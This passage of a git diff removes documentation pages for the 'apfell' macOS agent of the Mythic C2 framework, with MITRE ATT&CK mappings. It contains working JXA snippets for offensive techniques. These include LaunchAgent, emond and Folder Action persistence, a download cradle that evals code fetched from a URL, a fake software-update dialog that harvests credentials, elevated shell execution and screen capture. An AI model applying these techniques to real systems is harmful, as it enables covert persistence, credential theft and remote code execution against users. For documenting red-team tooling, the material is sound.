- tab_info['profileName'] = term.windows[i].tabs[j].currentSession.profileName();
- window["Tab: " + j] = tab_info;
- }
- output["Window: " + i] = window;
- }
-}
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/ifconfig.md b/documentation-docker/content/Agents/apfell/commands/ifconfig.md
deleted file mode 100644
index 215678dfe..000000000
--- a/documentation-docker/content/Agents/apfell/commands/ifconfig.md
+++ /dev/null
@@ -1,29 +0,0 @@
-+++
-title = "ifconfig"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Return all the IP addresses associated with the host via an API call.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-ifconfig
-```
-
-
-## Detailed Summary
-This uses the ObjectiveC Bridge to read the IP addresses associated with the computer. This is helpful to determine if the user is hopping on/off VPNs:
-```JavaScript
-ObjC.deepUnwrap($.NSHost.currentHost.addresses)
-```
-
diff --git a/documentation-docker/content/Agents/apfell/commands/jscript.md b/documentation-docker/content/Agents/apfell/commands/jscript.md
deleted file mode 100644
index 105227923..000000000
--- a/documentation-docker/content/Agents/apfell/commands/jscript.md
+++ /dev/null
@@ -1,36 +0,0 @@
-+++
-title = "jscript"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This runs the JavaScript command, {command}, and returns its output via an eval(). The output will get passed through ObjC.deepUnwrap to parse out basic data types from ObjectiveC and get strings back
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### command
-
-- Description: The JXA command to execute
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-jscript {command}
-```
-
-## MITRE ATT&CK Mapping
-
-- T1064
-## Detailed Summary
-This can be a pretty powerful technique, but you need to be careful since you're executing arbitrary code within the context of your agent. Depending on what you're doing, ObjectiveC Bridge calls might segfault your agent since Apple and the bridge aren't stable.
-```JavaScript
- ObjC.deepUnwrap(eval(command_params['command']));
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/jsimport.md b/documentation-docker/content/Agents/apfell/commands/jsimport.md
deleted file mode 100644
index 59d87c342..000000000
--- a/documentation-docker/content/Agents/apfell/commands/jsimport.md
+++ /dev/null
@@ -1,34 +0,0 @@
-+++
-title = "jsimport"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Import a JXA file into memory. Only one can be imported at a time. The ideal use case for this is to pull in something like [HealthInspector](https://github.com/its-a-feature/HealthInspector) or [Orchard](https://github.com/its-a-feature/Orchard) to extend your capabilities without having to make an entirely new command. With `jsimport_call` you're able to call functions from within these scripts and return output.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### file
-
-- Description: Select a JXA file to upload
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-jsimport
-```
-
-
-## Detailed Summary
-The file is pulled down via the C2 channel and stored in memory. Commands within this file are executed via the `jsimport_call` command:
-```JavaScript
-script = ObjC.unwrap($.NSString.alloc.initWithDataEncoding(script_data, $.NSUTF8StringEncoding));
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/jsimport_call.md b/documentation-docker/content/Agents/apfell/commands/jsimport_call.md
deleted file mode 100644
index 8c3711baa..000000000
--- a/documentation-docker/content/Agents/apfell/commands/jsimport_call.md
+++ /dev/null
@@ -1,38 +0,0 @@
-+++
-title = "jsimport_call"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Call a function from within the JXA file that was imported with `jsimport`. This function call is appended to the end of the jsimport code and called via eval.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### command
-
-- Description: The command to execute within a file loaded via jsimport
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-jsimport_call function_name();
-```
-
-## MITRE ATT&CK Mapping
-
-- T1155
-- T1064
-## Detailed Summary
-This function is executed via an eval statement within your current agent, so be careful about what it is you're trying to execute:
-```JavaScript
-let output = ObjC.deepUnwrap(eval(jsimport + "\n " + command_params['command']));
-```
-The command you speicfy is simply appended to the end of the file imported via `jsimport` and evaluated.
diff --git a/documentation-docker/content/Agents/apfell/commands/launchapp.md b/documentation-docker/content/Agents/apfell/commands/launchapp.md
deleted file mode 100644
index 7b97a1e02..000000000
--- a/documentation-docker/content/Agents/apfell/commands/launchapp.md
+++ /dev/null
@@ -1,40 +0,0 @@
-+++
-title = "launchapp"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses the Objective C bridge to launch the specified app asynchronously and 'hidden' (it'll still show up in the dock for now). An example of the bundle name is 'com.apple.itunes' for launching iTunes.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### bundle
-
-- Description: The Bundle name to launch
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-launchapp {bundle name}
-```
-
-
-## Detailed Summary
-This uses a single ObjC Bridge call to execute the bundle:
-```JavaScript
-ObjC.import('AppKit');
-$.NSWorkspace.sharedWorkspace.launchAppWithBundleIdentifierOptionsAdditionalEventParamDescriptorLaunchIdentifier(
- command_params['bundle'],
- $.NSWorkspaceLaunchAsync | $.NSWorkspaceLaunchAndHide | $.NSWorkspaceLaunchWithoutAddingToRecents,
- $.NSAppleEventDescriptor.nullDescriptor,
- null
-);
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/list_apps.md b/documentation-docker/content/Agents/apfell/commands/list_apps.md
deleted file mode 100644
index cd0baa8fa..000000000
--- a/documentation-docker/content/Agents/apfell/commands/list_apps.md
+++ /dev/null
@@ -1,60 +0,0 @@
-+++
-title = "list_apps"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses NSApplication.RunningApplications api to get information about running applications.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-list_apps
-```
-
-## MITRE ATT&CK Mapping
-
-- T1057
-## Detailed Summary
-This is different than executing `ps` in a terminal since this only reports back running applications, not _all_ processes running on a system.
-```JavaScript
-let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js;
-for(let i = 0; i < procs.length; i++){
- let info = {};
- info['frontMost'] = procs[i].active;
- info['hidden'] = procs[i].hidden;
- info['bundle'] = procs[i].bundleIdentifier.js;
- info['bundleURL'] = procs[i].bundleURL.path.js;
- info['bin_path'] = procs[i].executableURL.path.js;
- info['process_id'] = procs[i].processIdentifier;
- info['name'] = procs[i].localizedName.js;
- if(procs[i].executableArchitecture === "16777223"){
- info['architecture'] = "x64";
- }
- else if(procs[i].executableArchitecture === "7"){
- info['architecture'] = "x86";
- }
- else if(procs[i].executableArchitecture === "18"){
- info['architecture'] = "x86_PPC";
- }
- else if(procs[i].executableArchitecture === "16777234"){
- info['architecture'] = "x86_64_PPC";
- }
- names.push(info);
-}
-```
-
-This output is turned into a sortable table via a browserscript that by default highlights:
-- Little Snitch
-- Terminal
-- 1Password
-- Slack
-
diff --git a/documentation-docker/content/Agents/apfell/commands/list_users.md b/documentation-docker/content/Agents/apfell/commands/list_users.md
deleted file mode 100644
index 9b7305307..000000000
--- a/documentation-docker/content/Agents/apfell/commands/list_users.md
+++ /dev/null
@@ -1,46 +0,0 @@
-+++
-title = "list_users"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses JXA to list the non-service user accounts on the system. You can specify a GID to look at the users of a certain group or you can specify 'groups' to be true and enumerate users by groups
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### gid
-
-- Description: Enumerate users in a specific group or -1 for all groups
-- Required Value: False
-- Default Value: None
-
-#### groups
-
-- Description: Enumerate groups and their members
-- Required Value: False
-- Default Value: None
-
-## Usage
-
-```
-list_users
-```
-
-## MITRE ATT&CK Mapping
-
-- T1087
-- T1069
-## Detailed Summary
-
-- If gid is -1 and groups is false, enumerates all users and prints their info
-- If gid is -1 and groups is true, enumerate all groups and their members
-- If gid > 0, enumerate all users within the specified group
-
-All of these options are done via the Collaboration and CoreServices Frameworks and queried via API calls.
-
diff --git a/documentation-docker/content/Agents/apfell/commands/load.md b/documentation-docker/content/Agents/apfell/commands/load.md
deleted file mode 100644
index e3da726a2..000000000
--- a/documentation-docker/content/Agents/apfell/commands/load.md
+++ /dev/null
@@ -1,30 +0,0 @@
-+++
-title = "load"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This loads new functions into memory via the C2 channel
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-load cmd1 cmd2 cmd3...
-```
-
-## MITRE ATT&CK Mapping
-
-- T1030
-- T1129
-## Detailed Summary
-The associated command's `.js` files are concatenated, base64 encoded, and sent down to the agent to be loaded in.
-
->**WARNING** there is currently an issue with loading new commands when the payload is obfuscated
diff --git a/documentation-docker/content/Agents/apfell/commands/ls.md b/documentation-docker/content/Agents/apfell/commands/ls.md
deleted file mode 100644
index a99e068a7..000000000
--- a/documentation-docker/content/Agents/apfell/commands/ls.md
+++ /dev/null
@@ -1,47 +0,0 @@
-+++
-title = "ls"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Get attributes about a file and display it to the user via API calls. No need for quotes and relative paths are fine
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### path
-
-- Description: Path of file or folder on the current system to list
-- Required Value: True
-- Default Value: .
-
-## Usage
-
-```
-ls /path/to/file
-```
-
-## MITRE ATT&CK Mapping
-
-- T1106
-- T1083
-## Detailed Summary
-This command used API calls to get the contents of directories and the attributes of files. This includes extended attributes as well which are base64 encoded and returned:
-```JavaScript
-ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
-ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError($(path), error));
-```
-
-There is also some weirdness that has to happen to get the proper POSIX attributes that people are used to seeing on the command line:
-```JavaScript
-let nsposix = attr['NSFilePosixPermissions'];
-// we need to fix this mess to actually be real permission bits that make sense
-file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
-```
-
-This command helps populate the file browser, which is where all this data can be seen.
diff --git a/documentation-docker/content/Agents/apfell/commands/persist_emond.md b/documentation-docker/content/Agents/apfell/commands/persist_emond.md
deleted file mode 100644
index 39cebfdb8..000000000
--- a/documentation-docker/content/Agents/apfell/commands/persist_emond.md
+++ /dev/null
@@ -1,58 +0,0 @@
-+++
-title = "persist_emond"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Create persistence with an emond plist file in /etc/emond.d/rules/ and a .DS_Store file to trigger it
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### rule_name
-
-- Description: Rule name for inside of the plist
-- Required Value: True
-- Default Value: None
-
-#### payload_type
-
-- Description: A choice of payload within the plist ("oneliner-jxa", "custom_bash-c")
-- Required Value: True
-- Default Value: None
-
-#### url
-
-- Description: url of payload for oneliner-jxa (this will do a download cradle with this URL)
-- Required Value: False
-- Default Value: None
-
-#### command
-
-- Description: Command if type is custom_bash-c (execute a command via `/bin/bash -c`)
-- Required Value: False
-- Default Value: None
-
-#### file_name
-
-- Description: Name of plist in /etc/emond.d/rules/
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-persist_emond
-```
-
-## MITRE ATT&CK Mapping
-
-- T1150
-## Detailed Summary
-This technique follows the post by @xorrior on his [blog](https://www.xorrior.com/emond-persistence/)
-
diff --git a/documentation-docker/content/Agents/apfell/commands/persist_folderaction.md b/documentation-docker/content/Agents/apfell/commands/persist_folderaction.md
deleted file mode 100644
index c95155f3d..000000000
--- a/documentation-docker/content/Agents/apfell/commands/persist_folderaction.md
+++ /dev/null
@@ -1,59 +0,0 @@
-+++
-title = "persist_folderaction"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Use Folder Actions to persist a compiled script on disk. You can either specify a 'URL' and automatically do a backgrounding one-liner, or supply your own code and language.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-{{% notice warning %}} In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access System Events. {{% /notice %}}
-
-### Arguments
-
-#### code
-
-- Description: osascript code
-- Required Value: False
-- Default Value: None
-
-#### url
-
-- Description: http://url.of.host/payload
-- Required Value: False
-- Default Value: None
-
-#### folder
-
-- Description: /path/to/folder/to/watch
-- Required Value: True
-- Default Value: None
-
-#### script_path
-
-- Description: /path/to/script/to/create/on/disk
-- Required Value: True
-- Default Value: None
-
-#### language
-
-- Description: JavaScript or AppleScript based on the payload
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-persist_folderaction
-```
-
-
-## Detailed Summary
-This function creates a FolderAction at the specified `folder` for persistence. If you specify a `url`, then the code will generate a JavaScript one-liner download cradle as the payload to pull down a new `apfell` agent from that URL. Otherwise, you need to specify the `code` to execute and the `language` for it (JavaScript or AppleScript). Finally, Folder Actions require a `.scpt` file on disk that contains the code to execute, so you need to specify this as `script_path`. The function will generate the appropriate payload, compile it to a `.scpt` file and drop it to `script_path`.
-
-This technique is pulled from the [SpecterOps blog](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
diff --git a/documentation-docker/content/Agents/apfell/commands/persist_launch.md b/documentation-docker/content/Agents/apfell/commands/persist_launch.md
deleted file mode 100644
index 7c3746ddb..000000000
--- a/documentation-docker/content/Agents/apfell/commands/persist_launch.md
+++ /dev/null
@@ -1,88 +0,0 @@
-+++
-title = "persist_launch"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Create a launch agent or daemon plist file and either automatically put it in ~/Library/LaunchAgents or if LocalAgent is false, save it to the specified location. If you want an elevated launch agent or launch daemon( /Library/LaunchAgents or /Library/LaunchDaemons), you either need to be in an elevated context already and specify the path or use something like shell_elevated to copy it there.
-
-If the first arg is 'apfell-jxa' then the agent will automatically construct a plist appropriate oneliner to use where arg1 should be the URL to reach out to for the payload.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### args
-
-- Description: List of arguments to execute in the ProgramArguments section of the PLIST
-- Required Value: True
-- Default Value: None
-
-#### KeepAlive
-
-- Description: Restart the persistence if it crashes for some reason
-- Required Value: True
-- Default Value: True
-
-#### label
-
-- Description: The label for the launch element
-- Required Value: True
-- Default Value: com.apple.softwareupdateagent
-
-#### LaunchPath
-
-- Description: Path to save new plist to if LocalAgent is false
-- Required Value: False
-- Default Value: None
-
-#### LocalAgent
-
-- Description: Should be a local user launch agent?
-- Required Value: True
-- Default Value: True
-
-#### RunAtLoad
-
-- Description: Should the launch element be executed at load
-- Required Value: True
-- Default Value: True
-
-## Usage
-
-```
-persist_launch
-```
-
-## MITRE ATT&CK Mapping
-
-- T1159
-- T1160
-## Detailed Summary
-
-This function can create a variety of different Launch* elements depending on the flags. The most confusing piece if probably the arguments section:
-- If the first argument is `apfell-jxa` then that indicates to the agent that you want to create a plist with a download cradle in it. In this case, the second argument should be the URL that contains the payload. This can be seen with the code below:
-```JavaScript
-if(config.hasOwnProperty('args') && config['args'].length > 0){
- if(config['args'][0] === "apfell-jxa"){
- // we'll add in an apfell-jxa one liner to run
- template += "/usr/bin/osascript \n" +
- "-l \n" +
- "JavaScript \n" +
- "-e \n" +
- "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('" +
- config['args'][1] + "')),$.NSUTF8StringEncoding))) \n"
- }
- else{
- for(let i = 0; i < config['args'].length; i++){
- template += "" + config['args'][i] + " \n";
- }
- }
-}
-```
-If the first argument isn't `apfell-jxa`, then you indicate to the agent that you have some other path + arguments you want to execute with the persistence mechanism (such as another binary or script you already dropped to disk).
-
diff --git a/documentation-docker/content/Agents/apfell/commands/persist_loginitem_allusers.md b/documentation-docker/content/Agents/apfell/commands/persist_loginitem_allusers.md
deleted file mode 100644
index befd8c290..000000000
--- a/documentation-docker/content/Agents/apfell/commands/persist_loginitem_allusers.md
+++ /dev/null
@@ -1,47 +0,0 @@
-+++
-title = "persist_loginitem_allusers"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Add a login item for all users via the LSSharedFileListInsertItemURL. The kLSSharedFileListGlobalLoginItems constant is used when creating the shared list in the LSSharedFileListCreate function. Before calling LSSharedFileListInsertItemURL, AuthorizationCreate is called to obtain the necessary rights. If the current user is not an administrator, the LSSharedFileListInsertItemURL function will fail.
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### path
-
-- Description: path to binary to execute on execution
-- Required Value: True
-- Default Value: None
-
-#### name
-
-- Description: The name that is displayed in the Login Items section of the Users & Groups preferences pane
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-persist_loginitem_allusers
-```
-
-## Detailed Summary
-This function uses ObjectiveC API calls to set a new login item
-```JavaScript
-let result = $.AuthorizationCreate($.nil, $.nil, $.kAuthorizationDefaults, Ref(auth));
-if (result === 0) {
- let temp = $.CFURLCreateWithString($.kCFAllocatorDefault, args['path'], $.nil);
- let items = $.LSSharedFileListCreate($.kCFAllocatorDefault, $.kLSSharedFileListGlobalLoginItems, $.nil);
- $.LSSharedFileListSetAuthorization(items, auth);
- let cfName = $.CFStringCreateWithCString($.nil, args['name'], $.kCFStringEncodingASCII);
- let itemRef = $.LSSharedFileListInsertItemURL(items, $.kLSSharedFileListItemLast, cfName, $.nil, temp, $.nil, $.nil);
- return {"user_output": "LoginItem installation successful", "completed": true};
-}
-```
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/apfell/commands/plist.md b/documentation-docker/content/Agents/apfell/commands/plist.md
deleted file mode 100644
index dbecbd5a6..000000000
--- a/documentation-docker/content/Agents/apfell/commands/plist.md
+++ /dev/null
@@ -1,45 +0,0 @@
-+++
-title = "plist"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Read plists and their associated attributes for attempts to privilege escalate
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### filename
-
-- Description: full filename path of type is just read
-- Required Value: False
-- Default Value: None
-
-#### type
-
-- Description: read a specific plist file or all launchagents/launchdaemons
-- Required Value: True
-- Default Value: readLaunchAgents
-
-## Usage
-
-```
-plist
-```
-
-## MITRE ATT&CK Mapping
-
-- T1083
-- T1007
-## Detailed Summary
-The plist function uses API calls to read plist files and their associated attributes in an attempt to do privilege escalation or persistence.
-- If the `type` is `read`, then the function will look at the specific path indicated by `filename` and read all of that plist
-- Otherwise, the function will read all of the `LaunchAgents` or `LaunchDaemons` and give information about their associated programs.
-
-For `LaunchDaemons` and `LaunchAgents`, the function looks at the `ProgramArguments` array as well and returns the permissions on those files since they might not be as protected as the plists themselves.
diff --git a/documentation-docker/content/Agents/apfell/commands/prompt.md b/documentation-docker/content/Agents/apfell/commands/prompt.md
deleted file mode 100644
index 7a14174cd..000000000
--- a/documentation-docker/content/Agents/apfell/commands/prompt.md
+++ /dev/null
@@ -1,65 +0,0 @@
-+++
-title = "prompt"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Create a custom prompt to ask the user for credentials where you can provide titles, icons, text and default answer
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### title
-
-- Description: Title of the dialog box
-- Required Value: False
-- Default Value: Application Needs to Update
-
-#### icon
-
-- Description: full path to .icns file to use
-- Required Value: False
-- Default Value: "/System/Library/PreferencePanes/SoftwareUpdate.prefPane/Contents/Resources/SoftwareUpdate.icns"
-
-#### text
-
-- Description: additional descriptive text to display
-- Required Value: False
-- Default Value: An application needs permission to update
-
-#### answer
-
-- Description: Default answer to pre-populate
-- Required Value: False
-- Default Value: None
-
-## Usage
-
-```
-prompt
-```
-
-## MITRE ATT&CK Mapping
-
-- T1141
-## Detailed Summary
-
-Uses JXA to issue a prompt to the user and returns the information they supply:
-```JavaScript
-let prompt = currentApp.displayDialog(text, {
- defaultAnswer: answer,
- buttons: ['OK', 'Cancel'],
- defaultButton: 'OK',
- cancelButton: 'Cancel',
- withTitle: title,
- withIcon: Path(icon),
- hiddenAnswer: true
- });
-return {"user_output":prompt.textReturned, "completed": true};
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/pwd.md b/documentation-docker/content/Agents/apfell/commands/pwd.md
deleted file mode 100644
index dc85df69a..000000000
--- a/documentation-docker/content/Agents/apfell/commands/pwd.md
+++ /dev/null
@@ -1,32 +0,0 @@
-+++
-title = "pwd"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Prints the current working directory for the agent
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-pwd
-```
-
-## MITRE ATT&CK Mapping
-
-- T1083
-## Detailed Summary
-Uses ObjectiveC to print the current working directory:
-```JavaScript
-let fileManager = $.NSFileManager.defaultManager;
-let cwd = fileManager.currentDirectoryPath;
-```
-
diff --git a/documentation-docker/content/Agents/apfell/commands/rm.md b/documentation-docker/content/Agents/apfell/commands/rm.md
deleted file mode 100644
index bb9595190..000000000
--- a/documentation-docker/content/Agents/apfell/commands/rm.md
+++ /dev/null
@@ -1,37 +0,0 @@
-+++
-title = "rm"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Remove a file, no quotes are necessary and relative paths are fine
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### path
-
-- Description: Path to file to remove
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-rm ../path/to/file
-```
-
-## MITRE ATT&CK Mapping
-
-- T1106
-- T1107
-## Detailed Summary
-Uses ObjectiveC to remove the file specified:
-```JavaScript
-fileManager.removeItemAtPathError($(path), error);
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/run.md b/documentation-docker/content/Agents/apfell/commands/run.md
deleted file mode 100644
index ce6664300..000000000
--- a/documentation-docker/content/Agents/apfell/commands/run.md
+++ /dev/null
@@ -1,57 +0,0 @@
-+++
-title = "run"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-The command uses the ObjectiveC bridge to spawn that process with those arguments on the computer and get your output back. It is not interactive and does not go through a shell, so be sure to specify the full path to the binary you want to run.
-
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### args
-
-- Description: Arguments to pass to the binary
-- Required Value: True
-- Default Value: None
-
-#### path
-
-- Description: Full path to binary to execute
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-run
-```
-
-## MITRE ATT&CK Mapping
-
-- T1106
-## Detailed Summary
-```JavaScript
-let pipe = $.NSPipe.pipe;
-let file = pipe.fileHandleForReading; // NSFileHandle
-let task = $.NSTask.alloc.init;
-task.launchPath = path; //example '/bin/ps'
-task.arguments = args; //example ['ax']
-task.standardOutput = pipe; // if not specified, literally writes to file handles 1 and 2
-task.standardError = pipe;
-task.launch; // Run the command 'ps ax'
-if(args[args.length - 1] !== "&"){
- //if we aren't tasking this to run in the background, then try to read the output from the program
- // this will hang our main program though for now
- let data = file.readDataToEndOfFile; // NSData, potential to hang here?
- file.closeFile;
- response = $.NSString.alloc.initWithDataEncoding(data, $.NSUTF8StringEncoding).js;
-}
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/screenshot.md b/documentation-docker/content/Agents/apfell/commands/screenshot.md
deleted file mode 100644
index aa510d2ee..000000000
--- a/documentation-docker/content/Agents/apfell/commands/screenshot.md
+++ /dev/null
@@ -1,42 +0,0 @@
-+++
-title = "screenshot"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Use the built-in CGDisplay API calls to capture the display and send it back over the C2 channel.
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-screenshot
-```
-
-## MITRE ATT&CK Mapping
-
-- T1113
-## Detailed Summary
-This uses API calls to read the current screen the return it to Mythic. This doesn't currently capture _all_ screens though.
-```JavaScript
-let cgimage = $.CGDisplayCreateImage($.CGMainDisplayID());
-if(cgimage.js === undefined) {
- cgimage = $.CFMakeCollectable(cgimage); // in case 10.15 is messing with the types again
-}
-if(cgimage.js === undefined){
- return {"user_output":"Failed to get image from display", "completed": true, "status": "error"};
-}
-let bitmapimagerep = $.NSBitmapImageRep.alloc.initWithCGImage(cgimage);
-let capture = bitmapimagerep.representationUsingTypeProperties($.NSBitmapImageFileTypePNG, Ref());
-```
-The screencapture is chunked and sent back to Mythic.
-
->**NOTE** With 10.15, there are protections against this, so be careful
-
diff --git a/documentation-docker/content/Agents/apfell/commands/security_info.md b/documentation-docker/content/Agents/apfell/commands/security_info.md
deleted file mode 100644
index 367f31deb..000000000
--- a/documentation-docker/content/Agents/apfell/commands/security_info.md
+++ /dev/null
@@ -1,38 +0,0 @@
-+++
-title = "security_info"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-This uses JXA to list some security information about the system by contacting the "System Events" application via Apple Events. This can cause a popup or be denied in Mojave and later
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-## Usage
-
-```
-security_info
-```
-
-## MITRE ATT&CK Mapping
-
-- T1201
-## Detailed Summary
-The JXA mechanism sends Apple Events to the "System Events" application to get some basic security information:
-```JavaScript
-let secObj = Application("System Events").securityPreferences();
-let info = "automaticLogin: " + secObj.automaticLogin() +
-"\nlogOutWhenInactive: " + secObj.logOutWhenInactive() +
-"\nlogOutWhenInactiveInterval: " + secObj.logOutWhenInactiveInterval() +
-"\nrequirePasswordToUnlock: " + secObj.requirePasswordToUnlock() +
-"\nrequirePasswordToWake: " + secObj.requirePasswordToWake();
-return {"user_output":info, "completed": true};
-```
-In Mojave and onward (10.14+) this can cause popups though, so be careful.
diff --git a/documentation-docker/content/Agents/apfell/commands/shell.md b/documentation-docker/content/Agents/apfell/commands/shell.md
deleted file mode 100644
index d4956885d..000000000
--- a/documentation-docker/content/Agents/apfell/commands/shell.md
+++ /dev/null
@@ -1,58 +0,0 @@
-+++
-title = "shell"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-
-This runs {command} in a terminal by leveraging JXA's `Application.doShellScript({command}).`
-
-WARNING! THIS IS SINGLE THREADED, IF YOUR COMMAND HANGS, THE AGENT HANGS!
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### command
-
-- Description: Command to run
-- Required Value: True
-- Default Value: None
-
-## Usage
-### Without Popup
-
-```
-shell {command}
-```
-
-## MITRE ATT&CK Mapping
-
-- T1059
-## Detailed Summary
-This uses the JXA doShellScript command to execute the specified command. A few things to note though:
-- This is single threaded, so commands executed in this way have a potential to hang the entire agent
-- This spawns `/bin/sh -c [command]` on the command line
-- This is actually `/bin/bash` emulating `/bin/sh` which causes some weirdness, so I do some redirection when you try to actually background a task
-- This returns results using `\r` instead of `\n` or `\r\n` which is odd, so that is replaced before being returned.
-```JavaScript
-let command = command_params['command'];
-if(command[command.length-1] === "&"){
- //doShellScript actually does macOS' /bin/sh which is actually bash emulating sh
- // so to actually background a task, you need "&> /dev/null &" at the end
- // so I'll just automatically fix this so it's not weird for the operator
- command = command + "> /dev/null &";
-}
-response = currentApp.doShellScript(command);
-if(response === undefined || response === ""){
- response = "No Command Output";
-}
-// shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
-response = response.replace(/\r/g, "\n");
-return {"user_output":response, "completed": true}
-```
diff --git a/documentation-docker/content/Agents/apfell/commands/shell_elevated.md b/documentation-docker/content/Agents/apfell/commands/shell_elevated.md
deleted file mode 100644
index 690f994fb..000000000
--- a/documentation-docker/content/Agents/apfell/commands/shell_elevated.md
+++ /dev/null
@@ -1,72 +0,0 @@
-+++
-title = "shell_elevated"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-The command will pop a dialog box for the user asking for them to authenticate (fingerprint reader too) so that the command you entered will be executed in an elevated context. Alternatively, you can supply a username and password and the command will run under their context (assuming they have the right permissions). Once you successfully authenticate, you have a time window where no more popups will occur, but you'll still execute subsequent commands in an elevated context.
-
-WARNING! THIS IS SINGLE THREADED, IF YOUR COMMAND HANGS, THE AGENT HANGS!
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### command
-
-- Description: Command to execute
-- Required Value: True
-- Default Value: None
-
-#### use_creds
-
-- Description: Use supplied creds or prompt the user for creds
-- Required Value: True
-- Default Value: None
-
-#### user
-
-- Description: User to run as
-- Required Value: True
-- Default Value: None
-
-#### credential
-
-- Description: Credential to use
-- Required Value: True
-- Default Value: None
-
-#### prompt
-
-- Description: What prompt to display to the user when asking for creds
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-shell_elevated
-```
-
-## MITRE ATT&CK Mapping
-
-- T1059
-- T1141
-- T1169
-## Detailed Summary
-This uses the JXA doShellScript command to execute the specified command. A few things to note though:
-- This is single threaded, so commands executed in this way have a potential to hang the entire agent
-- This spawns `/bin/sh -c [command]` on the command line
-- This is actually `/bin/bash` emulating `/bin/sh` which causes some weirdness, so I do some redirection when you try to actually background a task
-- This returns results using `\r` instead of `\n` or `\r\n` which is odd, so that is replaced before being returned.
-
-The component that's different between this and the `shell` command is the addition of the `administratorPrivileges` section in the `doShellScript` function:
-```JavaScript
-currentApp.doShellScript(cmd, {administratorPrivileges:true,withPrompt:prompt});
-```
-
diff --git a/documentation-docker/content/Agents/apfell/commands/sleep.md b/documentation-docker/content/Agents/apfell/commands/sleep.md
deleted file mode 100644
index 05db88a3c..000000000
